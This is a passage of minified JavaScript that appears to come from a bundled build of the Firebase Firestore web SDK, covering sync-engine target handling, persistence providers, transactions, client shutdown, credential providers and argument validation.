u.jt(t,c).next(function(e){return e?l.Mn.pn(t,e):zg.resolve(null)})}))];case 1:return null===(o=s.sent())?[3,6]:"pending"!==n?[3,3]:[4,vb(i.remoteStore)];case 2:return s.sent(),[3,4];case 3:"acknowledged"===n||"rejected"===n?(av(i,e,r||null),sv(i,e),function(t,e){rh(rh(t)._n).Gt(e)}(i.localStore,e)):eh(),s.label=4;case 4:return[4,pv(i,o)];case 5:return s.sent(),[3,7];case 6:Zd("SyncEngine","Cannot apply mutation batch with id: "+e),s.label=7;case 7:return[2]}var a,c,l,u})})}function vv(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i,o,s,a,c;return(0,Zo.Jh)(this,function(l){switch(l.label){case 0:return Sv(n=rh(t)),Mv(n),!0!==e||!0===n.$o?[3,3]:(r=n.sharedClientState.getAllActiveQueryTargets(),[4,_v(n,r.toArray())]);case 1:return i=l.sent(),n.$o=!0,[4,Mb(n.remoteStore,!0)];case 2:for(l.sent(),o=0,s=i;o<s.length;o++)sb(n.remoteStore,s[o]);return[3,7];case 3:return!1!==e||!1===n.$o?[3,7]:(a=[],c=Promise.resolve(),n.Vo.forEach(function(t,e){n.sharedClientState.isLocalQueryTarget(e)?a.push(e):c=c.then(function(){return cv(n,e),gy(n.localStore,e,!0)}),ab(n.remoteStore,e)}),[4,c]);case 4:return l.sent(),[4,_v(n,a)];case 5:return l.sent(),(u=rh(n)).Co.forEach(function(t,e){ab(u.remoteStore,e)}),u.No.ts(),u.Co=new Map,u.Do=new gf(Ih.comparator),n.$o=!1,[4,Mb(n.remoteStore,!1)];case 6:l.sent(),l.label=7;case 7:return[2]}var u})})}function _v(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i,o,s,a,c,l,u,d,h,p,f;return(0,Zo.Jh)(this,function(g){switch(g.label){case 0:n=rh(t),r=[],i=[],o=0,s=e,g.label=1;case 1:return o<s.length?(c=void 0,(l=n.Vo.get(a=s[o]))&&0!==l.length?[4,fy(n.localStore,xp(l[0]))]:[3,7]):[3,13];case 2:c=g.sent(),u=0,d=l,g.label=3;case 3:return u<d.length?(h=n.Po.get(d[u]),[4,mv(n,h)]):[3,6];case 4:(p=g.sent()).snapshot&&i.push(p.snapshot),g.label=5;case 5:return u++,[3,3];case 6:return[3,11];case 7:return[4,yy(n.localStore,a)];case 8:return f=g.sent(),[4,fy(n.localStore,f)];case 9:return c=g.sent(),[4,Zb(n,Cv(f),a,!1)];case 10:g.sent(),g.label=11;case 11:r.push(c),g.label=12;case 12:return o++,[3,1];case 13:return[2,(n.vo._r(i),r)]}})})}function Cv(t){return gp(t.path,t.collectionGroup,t.orderBy,t.filters,t.limit,"F",t.startAt,t.endAt)}function wv(t){var e=rh(t);return rh(rh(e.localStore).persistence).fn()}function xv(t,e,n,r){return(0,Zo.mG)(this,void 0,void 0,function(){var i,o,s;return(0,Zo.Jh)(this,function(a){switch(a.label){case 0:return(i=rh(t)).$o?(Zd("SyncEngine","Ignoring unexpected query state notification."),[3,8]):[3,1];case 1:if(!i.Vo.has(e))return[3,8];switch(n){case"current":case"not-current":return[3,2];case"rejected":return[3,5]}return[3,7];case 2:return[4,by(i.localStore)];case 3:return o=a.sent(),s=If.createSynthesizedRemoteEventForCurrentChange(e,"current"===n),[4,pv(i,o,s)];case 4:return a.sent(),[3,8];case 5:return[4,gy(i.localStore,e,!0)];case 6:return a.sent(),cv(i,e,r),[3,8];case 7:eh(),a.label=8;case 8:return[2]}})})}function Pv(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i,o,s,a,c,l,u,d;return(0,Zo.Jh)(this,function(h){switch(h.label){case 0:if(!(r=Sv(t)).$o)return[3,10];i=0,o=e,h.label=1;case 1:return i<o.length?r.Vo.has(s=o[i])?(Zd("SyncEngine","Adding an already active target "+s),[3,5]):[4,yy(r.localStore,s)]:[3,6];case 2:return a=h.sent(),[4,fy(r.localStore,a)];case 3:return c=h.sent(),[4,Zb(r,Cv(a),c.targetId,!1)];case 4:h.sent(),sb(r.remoteStore,c),h.label=5;case 5:return i++,[3,1];case 6:l=function(t){return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return r.Vo.has(t)?[4,gy(r.localStore,t,!1).then(function(){ab(r.remoteStore,t),cv(r,t)}).catch(Rm)]:[3,2];case 1:e.sent(),e.label=2;case 2:return[2]}})},u=0,d=n,h.label=7;case 7:return u<d.length?[5,l(d[u])]:[3,10];case 8:h.sent(),h.label=9;case 9:return u++,[3,7];case 10:return[2]}})})}function Sv(t){var e=rh(t);return e.remoteStore.remoteSyncer.applyRemoteEvent=tv.bind(null,e),e.remoteStore.remoteSyncer.getRemoteKeysForTarget=gv.bind(null,e),e.remoteStore.remoteSyncer.rejectListen=nv.bind(null,e),e.vo._r=Fb.bind(null,e.eventManager),e.vo.Mo=Vb.bind(null,e.eventManager),e}function Mv(t){var e=rh(t);return e.remoteStore.remoteSyncer.applySuccessfulWrite=rv.bind(null,e),e.remoteStore.remoteSyncer.rejectFailedWrite=iv.bind(null,e),e}var Ov=function(){function t(){this.synchronizeTabs=!1}return t.prototype.initialize=function(t){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return this.R=Xy(t.databaseInfo.databaseId),this.sharedClientState=this.Bo(t),this.persistence=this.qo(t),[4,this.persistence.start()];case 1:return e.sent(),this.gcScheduler=this.Uo(t),this.localStore=this.Qo(t),[2]}})})},t.prototype.Uo=function(t){return null},t.prototype.Qo=function(t){return ay(this.persistence,new oy,t.initialUser,this.R)},t.prototype.qo=function(t){return new Ty(ky.bs,this.R)},t.prototype.Bo=function(t){return new zy},t.prototype.terminate=function(){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(t){switch(t.label){case 0:return this.gcScheduler&&this.gcScheduler.stop(),[4,this.sharedClientState.shutdown()];case 1:return t.sent(),[4,this.persistence.shutdown()];case 2:return t.sent(),[2]}})})},t}(),Ev=function(t){function e(e,n,r){var i=this;return(i=t.call(this)||this).Ko=e,i.cacheSizeBytes=n,i.forceOwnership=r,i.synchronizeTabs=!1,i}return(0,Zo.ZT)(e,t),e.prototype.initialize=function(e){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return[4,t.prototype.initialize.call(this,e)];case 1:return n.sent(),[4,vy(this.localStore)];case 2:return n.sent(),[4,this.Ko.initialize(this,e)];case 3:return n.sent(),[4,Mv(this.Ko.syncEngine)];case 4:return n.sent(),[4,vb(this.Ko.remoteStore)];case 5:return n.sent(),[2]}})})},e.prototype.Qo=function(t){return ay(this.persistence,new oy,t.initialUser,this.R)},e.prototype.Uo=function(t){return new Fm(this.persistence.referenceDelegate.garbageCollector,t.asyncQueue)},e.prototype.qo=function(t){var e=ey(t.databaseInfo.databaseId,t.databaseInfo.persistenceKey),n=void 0!==this.cacheSizeBytes?wm.withCacheSize(this.cacheSizeBytes):wm.DEFAULT;return new Ym(this.synchronizeTabs,e,t.clientId,n,t.asyncQueue,$y(),Qy(),this.R,this.sharedClientState,!!this.forceOwnership)},e.prototype.Bo=function(t){return new zy},e}(Ov),Tv=function(t){function e(e,n){var r=this;return(r=t.call(this,e,n,!1)||this).Ko=e,r.cacheSizeBytes=n,r.synchronizeTabs=!0,r}return(0,Zo.ZT)(e,t),e.prototype.initialize=function(e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r=this;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return[4,t.prototype.initialize.call(this,e)];case 1:return i.sent(),n=this.Ko.syncEngine,this.sharedClientState instanceof Hy?(this.sharedClientState.syncEngine={ui:bv.bind(null,n),ai:xv.bind(null,n),hi:Pv.bind(null,n),fn:wv.bind(null,n),ci:yv.bind(null,n)},[4,this.sharedClientState.start()]):[3,3];case 2:i.sent(),i.label=3;case 3:return[4,this.persistence.He(function(t){return(0,Zo.mG)(r,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return[4,vv(this.Ko.syncEngine,t)];case 1:return e.sent(),this.gcScheduler&&(t&&!this.gcScheduler.started?this.gcScheduler.start(this.localStore):t||this.gcScheduler.stop()),[2]}})})})];case 4:return i.sent(),[2]}})})},e.prototype.Bo=function(t){var e=$y();if(!Hy.yt(e))throw new $d(Kd.UNIMPLEMENTED,"IndexedDB persistence is only available on platforms that support LocalStorage.");var n=ey(t.databaseInfo.databaseId,t.databaseInfo.persistenceKey);return new Hy(e,t.asyncQueue,n,t.clientId,t.initialUser)},e}(Ev),Iv=function(){function t(){}return t.prototype.initialize=function(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n=this;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:return this.localStore?[3,2]:(this.localStore=t.localStore,this.sharedClientState=t.sharedClientState,this.datastore=this.createDatastore(e),this.remoteStore=this.createRemoteStore(e),this.eventManager=this.createEventManager(e),this.syncEngine=this.createSyncEngine(e,!t.synchronizeTabs),this.sharedClientState.onlineStateHandler=function(t){return ev(n.syncEngine,t,1)},this.remoteStore.remoteSyncer.handleCredentialChange=fv.bind(null,this.syncEngine),[4,Mb(this.remoteStore,this.syncEngine.isPrimaryClient)]);case 1:r.sent(),r.label=2;case 2:return[2]}})})},t.prototype.createEventManager=function(t){return new Rb},t.prototype.createDatastore=function(t){var e=Xy(t.databaseInfo.databaseId),n=new Ky(t.databaseInfo);return new eb(t.credentials,n,e)},t.prototype.createRemoteStore=function(t){var e,n,r,i,o,s=this;return e=this.localStore,n=this.datastore,r=t.asyncQueue,i=function(t){return ev(s.syncEngine,t,0)},o=Uy.yt()?new Uy:new Gy,new rb(e,n,r,i,o)},t.prototype.createSyncEngine=function(t,e){return n=e,r=new Qb(this.localStore,this.remoteStore,this.eventManager,this.sharedClientState,t.initialUser,t.maxConcurrentLimboResolutions),n&&(r.$o=!0),r;var n,r},t.prototype.terminate=function(){return function(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return e=rh(t),Zd("RemoteStore","RemoteStore shutting down."),e.Or.add(5),[4,ob(e)];case 1:return n.sent(),e.Lr.shutdown(),e.Br.set("Unknown"),[2]}})})}(this.remoteStore)},t}(),kv=function(){function t(t){this.observer=t,this.muted=!1}return t.prototype.next=function(t){this.observer.next&&this.jo(this.observer.next,t)},t.prototype.error=function(t){this.observer.error?this.jo(this.observer.error,t):console.error("Uncaught Error in snapshot listener:",t)},t.prototype.Wo=function(){this.muted=!0},t.prototype.jo=function(t,e){var n=this;this.muted||setTimeout(function(){n.muted||t(e)},0)},t}(),Av=(function(){function t(t,e){var n=this;this.Go=t,this.R=e,this.metadata=new Hg,this.buffer=new Uint8Array,this.zo=new TextDecoder("utf-8"),this.Ho().then(function(t){t&&t.io()?n.metadata.resolve(t.payload.metadata):n.metadata.reject(new Error("The first element of the bundle is not a metadata, it is\n "+JSON.stringify(null==t?void 0:t.payload)))},function(t){return n.metadata.reject(t)})}t.prototype.close=function(){return this.Go.cancel()},t.prototype.getMetadata=function(){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(t){return[2,this.metadata.promise]})})},t.prototype.Lo=function(){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(t){switch(t.label){case 0:return[4,this.getMetadata()];case 1:return[2,(t.sent(),this.Ho())]}})})},t.prototype.Ho=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t,e,n,r;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return[4,this.Jo()];case 1:return null===(t=i.sent())?[2,null]:(e=this.zo.decode(t),n=Number(e),isNaN(n)&&this.Yo("length string ("+e+") is not valid number"),[4,this.Xo(n)]);case 2:return r=i.sent(),[2,new zb(JSON.parse(r),t.length+n)]}})})},t.prototype.Zo=function(){return this.buffer.findIndex(function(t){return t==="{".charCodeAt(0)})},t.prototype.Jo=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t,e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return this.Zo()<0?[4,this.tc()]:[3,3];case 1:if(n.sent())return[3,3];n.label=2;case 2:return[3,0];case 3:return 0===this.buffer.length?[2,null]:((t=this.Zo())<0&&this.Yo("Reached the end of bundle when a length string is expected."),e=this.buffer.slice(0,t),[2,(this.buffer=this.buffer.slice(t),e)])}})})},t.prototype.Xo=function(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return this.buffer.length<t?[4,this.tc()]:[3,3];case 1:n.sent()&&this.Yo("Reached the end of bundle when more is expected."),n.label=2;case 2:return[3,0];case 3:return e=this.zo.decode(this.buffer.slice(0,t)),[2,(this.buffer=this.buffer.slice(t),e)]}})})},t.prototype.Yo=function(t){throw this.Go.cancel(),new Error("Invalid bundle format: "+t)},t.prototype.tc=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t,e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return[4,this.Go.read()];case 1:return(t=n.sent()).done||((e=new Uint8Array(this.buffer.length+t.value.length)).set(this.buffer),e.set(t.value,this.buffer.length),this.buffer=e),[2,t.done]}})})}}(),function(){function t(t){this.datastore=t,this.readVersions=new Map,this.mutations=[],this.committed=!1,this.lastWriteError=null,this.writtenDocs=new Set}return t.prototype.lookup=function(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e,n=this;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:if(this.ensureCommitNotCalled(),this.mutations.length>0)throw new $d(Kd.INVALID_ARGUMENT,"Firestore transactions require all reads to be executed before all writes.");return[4,function(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i,o,s,a;return(0,Zo.Jh)(this,function(c){switch(c.label){case 0:return n=rh(t),r=Yf(n.R)+"/documents",i={documents:e.map(function(t){return $f(n.R,t)})},[4,n.$i("BatchGetDocuments",r,i)];case 1:return o=c.sent(),s=new Map,o.forEach(function(t){var e,r,i=(e=n.R,"found"in(r=t)?function(t,e){nh(!!e.found);var n=Qf(t,e.found.name),r=qf(e.found.updateTime),i=new qh({mapValue:{fields:e.found.fields}});return Kh.newFoundDocument(n,r,i)}(e,r):"missing"in r?function(t,e){nh(!!e.missing),nh(!!e.readTime);var n=Qf(t,e.missing),r=qf(e.readTime);return Kh.newNoDocument(n,r)}(e,r):eh());s.set(i.key.toString(),i)}),a=[],[2,(e.forEach(function(t){var e=s.get(t.toString());nh(!!e),a.push(e)}),a)]}})})}(this.datastore,t)];case 1:return[2,((e=r.sent()).forEach(function(t){return n.recordVersion(t)}),e)]}})})},t.prototype.set=function(t,e){this.write(e.toMutation(t,this.precondition(t))),this.writtenDocs.add(t.toString())},t.prototype.update=function(t,e){try{this.write(e.toMutation(t,this.preconditionForUpdate(t)))}catch(n){this.lastWriteError=n}this.writtenDocs.add(t.toString())},t.prototype.delete=function(t){this.write(new uf(t,this.precondition(t))),this.writtenDocs.add(t.toString())},t.prototype.commit=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t,e=this;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:if(this.ensureCommitNotCalled(),this.lastWriteError)throw this.lastWriteError;return t=this.readVersions,this.mutations.forEach(function(e){t.delete(e.key.toString())}),t.forEach(function(t,n){var r=Ih.fromPath(n);e.mutations.push(new df(r,e.precondition(r)))}),[4,function(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return n=rh(t),r=Yf(n.R)+"/documents",i={writes:e.map(function(t){return ng(n.R,t)})},[4,n.Ni("Commit",r,i)];case 1:return o.sent(),[2]}})})}(this.datastore,this.mutations)];case 1:return n.sent(),this.committed=!0,[2]}})})},t.prototype.recordVersion=function(t){var e;if(t.isFoundDocument())e=t.version;else{if(!t.isNoDocument())throw eh();e=uh.min()}var n=this.readVersions.get(t.key.toString());if(n){if(!e.isEqual(n))throw new $d(Kd.ABORTED,"Document version changed between two reads.")}else this.readVersions.set(t.key.toString(),e)},t.prototype.precondition=function(t){var e=this.readVersions.get(t.toString());return!this.writtenDocs.has(t.toString())&&e?$p.updateTime(e):$p.none()},t.prototype.preconditionForUpdate=function(t){var e=this.readVersions.get(t.toString());if(!this.writtenDocs.has(t.toString())&&e){if(e.isEqual(uh.min()))throw new $d(Kd.INVALID_ARGUMENT,"Can't update a document that doesn't exist.");return $p.updateTime(e)}return $p.exists(!0)},t.prototype.write=function(t){this.ensureCommitNotCalled(),this.mutations.push(t)},t.prototype.ensureCommitNotCalled=function(){},t}()),Dv=function(){function t(t,e,n,r){this.asyncQueue=t,this.datastore=e,this.updateFunction=n,this.deferred=r,this.ec=5,this.Zi=new Zy(this.asyncQueue,"transaction_retry")}return t.prototype.run=function(){this.nc()},t.prototype.nc=function(){var t=this;this.Zi.ji(function(){return(0,Zo.mG)(t,void 0,void 0,function(){var t,e,n=this;return(0,Zo.Jh)(this,function(r){return t=new Av(this.datastore),(e=this.sc(t))&&e.then(function(e){n.asyncQueue.enqueueAndForget(function(){return t.commit().then(function(){n.deferred.resolve(e)}).catch(function(t){n.ic(t)})})}).catch(function(t){n.ic(t)}),[2]})})})},t.prototype.sc=function(t){try{var e=this.updateFunction(t);return!Oh(e)&&e.catch&&e.then?e:(this.deferred.reject(Error("Transaction callback must return a Promise")),null)}catch(n){return this.deferred.reject(n),null}},t.prototype.ic=function(t){var e=this;this.ec>0&&this.rc(t)?(this.ec-=1,this.asyncQueue.enqueueAndForget(function(){return e.nc(),Promise.resolve()})):this.deferred.reject(t)},t.prototype.rc=function(t){if("FirebaseError"===t.name){var e=t.code;return"aborted"===e||"failed-precondition"===e||!pf(e)}return!1},t}(),Nv=function(){function t(t,e,n){var r=this;this.credentials=t,this.asyncQueue=e,this.databaseInfo=n,this.user=Ay.UNAUTHENTICATED,this.clientId=oh.u(),this.credentialListener=function(){return Promise.resolve()},this.credentials.setChangeListener(e,function(t){return(0,Zo.mG)(r,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return Zd("FirestoreClient","Received user=",t.uid),[4,this.credentialListener(t)];case 1:return e.sent(),this.user=t,[2]}})})})}return t.prototype.getConfiguration=function(){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(t){return[2,{asyncQueue:this.asyncQueue,databaseInfo:this.databaseInfo,clientId:this.clientId,credentials:this.credentials,initialUser:this.user,maxConcurrentLimboResolutions:100}]})})},t.prototype.setCredentialChangeListener=function(t){this.credentialListener=t},t.prototype.verifyNotTerminated=function(){if(this.asyncQueue.isShuttingDown)throw new $d(Kd.FAILED_PRECONDITION,"The client has already been terminated.")},t.prototype.terminate=function(){var t=this;this.asyncQueue.enterRestrictedMode();var e=new Hg;return this.asyncQueue.enqueueAndForgetEvenWhileRestricted(function(){return(0,Zo.mG)(t,void 0,void 0,function(){var t,n;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:return r.trys.push([0,5,,6]),this.onlineComponents?[4,this.onlineComponents.terminate()]:[3,2];case 1:r.sent(),r.label=2;case 2:return this.offlineComponents?[4,this.offlineComponents.terminate()]:[3,4];case 3:r.sent(),r.label=4;case 4:return this.credentials.removeChangeListener(),e.resolve(),[3,6];case 5:return t=r.sent(),n=Ib(t,"Failed to shutdown persistence"),e.reject(n),[3,6];case 6:return[2]}})})}),e.promise},t}();function Rv(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i=this;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return t.asyncQueue.verifyOperationInProgress(),Zd("FirestoreClient","Initializing OfflineComponentProvider"),[4,t.getConfiguration()];case 1:return n=o.sent(),[4,e.initialize(n)];case 2:return o.sent(),r=n.initialUser,t.setCredentialChangeListener(function(t){return(0,Zo.mG)(i,void 0,void 0,function(){return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return r.isEqual(t)?[3,2]:[4,cy(e.localStore,t)];case 1:n.sent(),r=t,n.label=2;case 2:return[2]}})})}),e.persistence.setDatabaseDeletedListener(function(){return t.terminate()}),t.offlineComponents=e,[2]}})})}function Lv(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return t.asyncQueue.verifyOperationInProgress(),[4,jv(t)];case 1:return n=i.sent(),Zd("FirestoreClient","Initializing OnlineComponentProvider"),[4,t.getConfiguration()];case 2:return r=i.sent(),[4,e.initialize(n,r)];case 3:return i.sent(),t.setCredentialChangeListener(function(t){return function(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return(n=rh(t)).asyncQueue.verifyOperationInProgress(),Zd("RemoteStore","RemoteStore received new credentials"),r=hb(n),n.Or.add(3),[4,ob(n)];case 1:return i.sent(),r&&n.Br.set("Unknown"),[4,n.remoteSyncer.handleCredentialChange(e)];case 2:return i.sent(),n.Or.delete(3),[4,ib(n)];case 3:return i.sent(),[2]}})})}(e.remoteStore,t)}),t.onlineComponents=e,[2]}})})}function jv(t){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return t.offlineComponents?[3,2]:(Zd("FirestoreClient","Using default OfflineComponentProvider"),[4,Rv(t,new Ov)]);case 1:e.sent(),e.label=2;case 2:return[2,t.offlineComponents]}})})}function Fv(t){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return t.onlineComponents?[3,2]:(Zd("FirestoreClient","Using default OnlineComponentProvider"),[4,Lv(t,new Iv)]);case 1:e.sent(),e.label=2;case 2:return[2,t.onlineComponents]}})})}function Vv(t){return jv(t).then(function(t){return t.persistence})}function Bv(t){return jv(t).then(function(t){return t.localStore})}function Hv(t){return Fv(t).then(function(t){return t.remoteStore})}function zv(t){return Fv(t).then(function(t){return t.syncEngine})}function Gv(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e,n;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:return[4,Fv(t)];case 1:return e=r.sent(),[2,((n=e.eventManager).onListen=Xb.bind(null,e.syncEngine),n.onUnlisten=Yb.bind(null,e.syncEngine),n)]}})})}function Uv(t,e,n){var r=this;void 0===n&&(n={});var i=new Hg;return t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(r,void 0,void 0,function(){var r;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return r=function(t,e,n,r,i){var o=new kv({next:function(o){e.enqueueAndForget(function(){return jb(t,s)});var a=o.docs.has(n);!a&&o.fromCache?i.reject(new $d(Kd.UNAVAILABLE,"Failed to get document because the client is offline.")):a&&o.fromCache&&r&&"server"===r.source?i.reject(new $d(Kd.UNAVAILABLE,'Failed to get document from server. (However, this document does exist in the local cache. Run again without setting source to "server" to retrieve the cached document.)')):i.resolve(o)},error:function(t){return i.reject(t)}}),s=new Hb(mp(n.path),o,{includeMetadataChanges:!0,so:!0});return Lb(t,s)},[4,Gv(t)];case 1:return[2,r.apply(void 0,[o.sent(),t.asyncQueue,e,n,i])]}})})}),i.promise}function qv(t,e,n){var r=this;void 0===n&&(n={});var i=new Hg;return t.asyncQueue.enqueueAndForget(function(){return(0,Zo.mG)(r,void 0,void 0,function(){var r;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return r=function(t,e,n,r,i){var o=new kv({next:function(n){e.enqueueAndForget(function(){return jb(t,s)}),n.fromCache&&"server"===r.source?i.reject(new $d(Kd.UNAVAILABLE,'Failed to get documents from server. (However, these documents may exist in the local cache. Run again without setting source to "server" to retrieve the cached documents.)')):i.resolve(n)},error:function(t){return i.reject(t)}}),s=new Hb(n,o,{includeMetadataChanges:!0,so:!0});return Lb(t,s)},[4,Gv(t)];case 1:return[2,r.apply(void 0,[o.sent(),t.asyncQueue,e,n,i])]}})})}),i.promise}var Wv=function(t,e,n,r,i,o,s,a){this.databaseId=t,this.appId=e,this.persistenceKey=n,this.host=r,this.ssl=i,this.forceLongPolling=o,this.autoDetectLongPolling=s,this.useFetchStreams=a},Kv=function(){function t(t,e){this.projectId=t,this.database=e||"(default)"}return Object.defineProperty(t.prototype,"isDefaultDatabase",{get:function(){return"(default)"===this.database},enumerable:!1,configurable:!0}),t.prototype.isEqual=function(e){return e instanceof t&&e.projectId===this.projectId&&e.database===this.database},t}(),$v=new Map,Qv=function(t,e){this.user=e,this.type="OAuth",this.authHeaders={},this.authHeaders.Authorization="Bearer "+t},Xv=function(){function t(){this.changeListener=null}return t.prototype.getToken=function(){return Promise.resolve(null)},t.prototype.invalidateToken=function(){},t.prototype.setChangeListener=function(t,e){this.changeListener=e,t.enqueueRetryable(function(){return e(Ay.UNAUTHENTICATED)})},t.prototype.removeChangeListener=function(){this.changeListener=null},t}(),Zv=function(){function t(t){this.token=t,this.changeListener=null}return t.prototype.getToken=function(){return Promise.resolve(this.token)},t.prototype.invalidateToken=function(){},t.prototype.setChangeListener=function(t,e){var n=this;this.changeListener=e,t.enqueueRetryable(function(){return e(n.token.user)})},t.prototype.removeChangeListener=function(){this.changeListener=null},t}(),Yv=function(){function t(t){var e=this;this.currentUser=Ay.UNAUTHENTICATED,this.oc=new Hg,this.cc=0,this.forceRefresh=!1,this.auth=null,this.asyncQueue=null,this.uc=function(){e.cc++,e.currentUser=e.ac(),e.oc.resolve(),e.changeListener&&e.asyncQueue.enqueueRetryable(function(){return e.changeListener(e.currentUser)})};var n=function(t){Zd("FirebaseCredentialsProvider","Auth detected"),e.auth=t,e.auth.addAuthTokenListener(e.uc)};t.onInit(function(t){return n(t)}),setTimeout(function(){if(!e.auth){var r=t.getImmediate({optional:!0});r?n(r):(Zd("FirebaseCredentialsProvider","Auth not yet detected"),e.oc.resolve())}},0)}return t.prototype.getToken=function(){var t=this,e=this.cc,n=this.forceRefresh;return this.forceRefresh=!1,this.auth?this.auth.getToken(n).then(function(n){return t.cc!==e?(Zd("FirebaseCredentialsProvider","getToken aborted due to token change."),t.getToken()):n?(nh("string"==typeof n.accessToken),new Qv(n.accessToken,t.currentUser)):null}):Promise.resolve(null)},t.prototype.invalidateToken=function(){this.forceRefresh=!0},t.prototype.setChangeListener=function(t,e){var n=this;this.asyncQueue=t,this.asyncQueue.enqueueRetryable(function(){return(0,Zo.mG)(n,void 0,void 0,function(){return(0,Zo.Jh)(this,function(t){switch(t.label){case 0:return[4,this.oc.promise];case 1:return t.sent(),[4,e(this.currentUser)];case 2:return t.sent(),this.changeListener=e,[2]}})})})},t.prototype.removeChangeListener=function(){this.auth&&this.auth.removeAuthTokenListener(this.uc),this.changeListener=function(){return Promise.resolve()}},t.prototype.ac=function(){var t=this.auth&&this.auth.getUid();return nh(null===t||"string"==typeof t),new Ay(t)},t}(),Jv=function(){function t(t,e,n){this.hc=t,this.lc=e,this.fc=n,this.type="FirstParty",this.user=Ay.FIRST_PARTY}return Object.defineProperty(t.prototype,"authHeaders",{get:function(){var t={"X-Goog-AuthUser":this.lc},e=this.hc.auth.getAuthHeaderValueForFirstParty([]);return e&&(t.Authorization=e),this.fc&&(t["X-Goog-Iam-Authorization-Token"]=this.fc),t},enumerable:!1,configurable:!0}),t}(),t_=function(){function t(t,e,n){this.hc=t,this.lc=e,this.fc=n}return t.prototype.getToken=function(){return Promise.resolve(new Jv(this.hc,this.lc,this.fc))},t.prototype.setChangeListener=function(t,e){t.enqueueRetryable(function(){return e(Ay.FIRST_PARTY)})},t.prototype.removeChangeListener=function(){},t.prototype.invalidateToken=function(){},t}();function e_(t,e,n){if(!n)throw new $d(Kd.INVALID_ARGUMENT,"Function "+t+"() cannot be called with an empty "+e+".")}function n_(t,e){if(void 0===e)return{merge:!1};if(void 0!==e.mergeFields&&void 0!==e.merge)throw new $d(Kd.INVALID_ARGUMENT,"Invalid options passed to function "+t+'(): You cannot specify both "merge" and "mergeFields".');return e}function r_(t,e,n,r){if(!0===e&&!0===r)throw new $d(Kd.INVALID_ARGUMENT,t+" and "+n+" cannot be used together.")}function i_(t){if(!Ih.isDocumentKey(t))throw new $d(Kd.INVALID_ARGUMENT,"Invalid document reference. Document references must have an even number of segments, but "+t+" has "+t.length+".")}function o_(t){if(Ih.isDocumentKey(t))throw new $d(Kd.INVALID_ARGUMENT,"Invalid collection reference. Collection references must have an odd number of segments, but "+t+" has "+t.length+".")}function s_(t){if(void 0===t)return"undefined";if(null===t)return"null";if("string"==typeof t)return t.length>20&&(t=t.substring(0,20)+"..."),JSON.stringify(t);if("number"==typeof t||"boolean"==typeof t)return""+t;if("object"==typeof t){if(t instanceof Array)return"an array";var e=function(t){if(t.constructor){var e=/function\s+([^\s(]+)\s*\(/.exec(t.constructor.toString());if(e&&e.length>1)return e[1]}return null}(t);return e?"a custom "+e+" object":"an object"}return"function"==typeof t?"a function":eh()}function a_(t,e){if("_delegate"in t&&(t=t._delegate),!(t instanceof e)){if(e.name===t.constructor.name)throw new $d(Kd.INVALID_ARGUMENT,"Type does not match the expected instance. Did you pass a reference from a different Firestore SDK?");var n=s_(t);throw new $d(Kd.INVALID_ARGUMENT,"Expected type '"+e.name+"', but it was: "+n)}return t}function c_(t,e){if(e<=0)throw new $d(Kd.INVALID_ARGUMENT,"Function "+t+"() requires a positive number, but it was: "+e+".")}var l_=function(){function t(t){var e;if(void 0===t.host){if(void 0!==t.ssl)throw new $d(Kd.INVALID_ARGUMENT,"Can't provide ssl option if host option is not set");this.host="firestore.googleapis.com",this.ssl=!0}else this.host=t.host,this.ssl=null===(e=t.ssl)||void 0===e||e;if(this.credentials=t.credentials,this.ignoreUndefinedProperties=!!t.ignoreUndefinedProperties,void 